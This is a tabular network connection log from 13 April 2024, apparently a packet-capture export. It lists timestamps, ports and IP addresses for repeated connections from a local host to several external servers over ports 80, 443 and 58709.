Apr 13, 2024 20:21:29.036669970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036694050 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036708117 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036731005 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036744118 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036767960 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036783934 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036807060 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036823034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036844015 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036864996 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036881924 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036896944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036919117 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036931992 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036956072 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036969900 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036995888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037014961 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037034988 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037054062 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037071943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037092924 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037108898 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037115097 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037147045 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037163019 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037184954 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037203074 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037223101 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037231922 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037261009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037271976 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037297964 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037313938 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037314892 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037332058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037338018 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037349939 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037354946 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037368059 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037383080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037384987 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037403107 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037404060 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037421942 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037427902 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037427902 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037441015 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037446022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037456989 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037465096 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037473917 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037478924 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037497997 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037498951 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037514925 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037528992 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037532091 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037549019 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037564993 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037564993 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037566900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037585974 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037594080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037594080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037604094 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037611961 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037621975 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037640095 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037652016 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037652016 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037658930 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037677050 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037677050 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037677050 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037694931 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037707090 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037713051 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037724018 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037729979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.037745953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.037765980 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.384998083 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385065079 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385103941 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385144949 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385188103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385205984 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385206938 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385206938 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385206938 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385226011 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385267973 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385282040 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385282040 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385308027 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385325909 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385348082 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385377884 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385392904 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385399103 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385432005 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.385453939 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.385479927 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.393418074 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.393616915 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.400795937 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.400862932 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.401010990 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.401011944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:30.169708014 CEST	49751	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.170007944 CEST	49753	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.512928963 CEST	80	49751	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:30.513135910 CEST	49751	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.515862942 CEST	80	49753	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:30.515978098 CEST	49753	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.516189098 CEST	49753	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.862102032 CEST	80	49753	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:30.867705107 CEST	80	49753	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:30.867861032 CEST	49753	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.982470989 CEST	49753	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:30.982700109 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:31.326603889 CEST	80	49754	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:31.326745033 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:31.326900005 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:31.328357935 CEST	80	49753	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:31.328428984 CEST	49753	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:31.670212030 CEST	80	49754	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:31.670516968 CEST	80	49754	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:31.670572996 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:31.672808886 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.015737057 CEST	80	49754	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:32.021073103 CEST	80	49754	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:32.021157980 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.122710943 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.123039961 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.466228962 CEST	80	49755	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:32.466285944 CEST	80	49754	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:32.466351986 CEST	49754	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.466438055 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.466891050 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.814990997 CEST	80	49755	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:32.815515995 CEST	80	49755	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:32.815696955 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:32.816277981 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.040855885 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:33.160435915 CEST	80	49755	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:33.165714025 CEST	80	49755	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:33.165925980 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.279104948 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.279258966 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.358478069 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:33.358690023 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:33.400384903 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:33.622420073 CEST	80	49755	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:33.622524977 CEST	49755	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.625576973 CEST	80	49757	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:33.625647068 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.625838041 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.676121950 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:33.716057062 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:33.762029886 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:33.972697020 CEST	80	49757	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:33.973395109 CEST	80	49757	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:33.973481894 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:33.974246025 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:34.320643902 CEST	80	49757	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:34.325689077 CEST	80	49757	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:34.325778008 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:34.435220957 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:34.435489893 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:34.778440952 CEST	80	49758	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:34.778696060 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:34.778785944 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:34.784734011 CEST	80	49757	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:34.784867048 CEST	49757	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.119160891 CEST	80	49758	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:35.119549036 CEST	80	49758	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:35.119752884 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.120270967 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.460547924 CEST	80	49758	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:35.474426031 CEST	80	49758	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:35.474858046 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.575967073 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.576242924 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.915724039 CEST	80	49759	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:35.915949106 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.915992022 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:35.917015076 CEST	80	49758	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:35.917295933 CEST	49758	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:36.255594015 CEST	80	49759	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:36.256207943 CEST	80	49759	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:36.256304979 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:36.256920099 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:36.596455097 CEST	80	49759	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:36.610591888 CEST	80	49759	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:36.610672951 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:36.734766960 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:36.735301971 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:37.031421900 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:37.076551914 CEST	80	49759	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:37.076621056 CEST	49759	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:37.078665972 CEST	80	49760	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:37.078751087 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:37.081007957 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:37.402427912 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:37.422277927 CEST	80	49760	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:37.424335003 CEST	80	49760	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:37.424427032 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:37.601371050 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:37.653438091 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:37.680939913 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:37.695521116 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:37.731580019 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:37.747189045 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:38.066340923 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:38.408631086 CEST	80	49760	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:38.439923048 CEST	80	49760	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:38.440069914 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:38.792907953 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:38.793273926 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:38.861443996 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.861531973 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:38.861610889 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.885704041 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.885746002 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:38.943068981 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.943126917 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:38.943200111 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.944076061 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.944103003 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:38.956857920 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.956882954 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:38.956938982 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.958045959 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:38.958058119 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.129554987 CEST	80	49761	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:39.129724979 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.129837036 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.134131908 CEST	80	49760	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:39.134215117 CEST	49760	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.214107037 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.214251041 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.215627909 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.215656996 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.216237068 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.256736040 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:39.257611990 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.264760971 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.264925003 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.266557932 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.266587019 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.267199039 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.275305033 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.275393963 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.282176971 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.282183886 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.282509089 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.300246954 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.309676886 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.309678078 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:39.318516970 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.325280905 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.335119963 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.360280037 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.376271963 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.466078043 CEST	80	49761	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:39.466574907 CEST	80	49761	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:39.466630936 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.467235088 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.472433090 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.472507000 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.472573042 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.473525047 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.473561049 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.562817097 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.563116074 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.563191891 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.565993071 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.565993071 CEST	49762	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.566035986 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.566071033 CEST	443	49762	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.621130943 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.621436119 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.621500969 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.621661901 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.621701002 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.621728897 CEST	49763	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.621761084 CEST	443	49763	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.635835886 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.636179924 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.636250019 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.636473894 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.636473894 CEST	49764	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.636493921 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.636506081 CEST	443	49764	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.725960970 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.726011038 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:39.726078987 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.726547003 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.726581097 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:39.727360010 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.727448940 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:39.727531910 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.727678061 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.727756977 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:39.727848053 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.728208065 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.728245020 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:39.728401899 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:39.728435040 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:39.798264027 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.798357010 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.799384117 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.799408913 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.799802065 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.803956032 CEST	80	49761	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:39.807836056 CEST	80	49761	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:39.807888031 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.840394974 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:39.888233900 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:39.919852972 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:39.920242071 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.058634996 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.058723927 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.060107946 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.060126066 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.060575962 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.061624050 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.063081026 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.063282013 CEST	49767	443	192.168.2.4	172.67.75.166
